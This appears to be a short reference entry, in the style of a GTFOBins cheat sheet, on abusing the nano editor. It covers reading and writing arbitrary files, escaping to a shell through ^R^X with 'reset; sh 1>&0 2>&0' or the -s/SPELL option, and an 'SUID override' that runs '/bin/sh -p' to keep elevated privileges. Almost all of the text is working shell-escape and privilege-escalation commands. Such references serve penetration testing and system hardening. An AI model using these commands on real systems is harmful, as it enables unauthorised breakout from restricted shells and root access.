nano

File Read

The file content is displayed in the terminal interface.

nano /path/to/input-file

File Write

nano /path/to/output-file
DATA
^O

Shell

nano
^R^X
reset; sh 1>&0 2>&0

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s /bin/sh
/bin/sh
^T^T

SUID override:

nano -s '/bin/sh -p'
/bin/sh -p
^T^T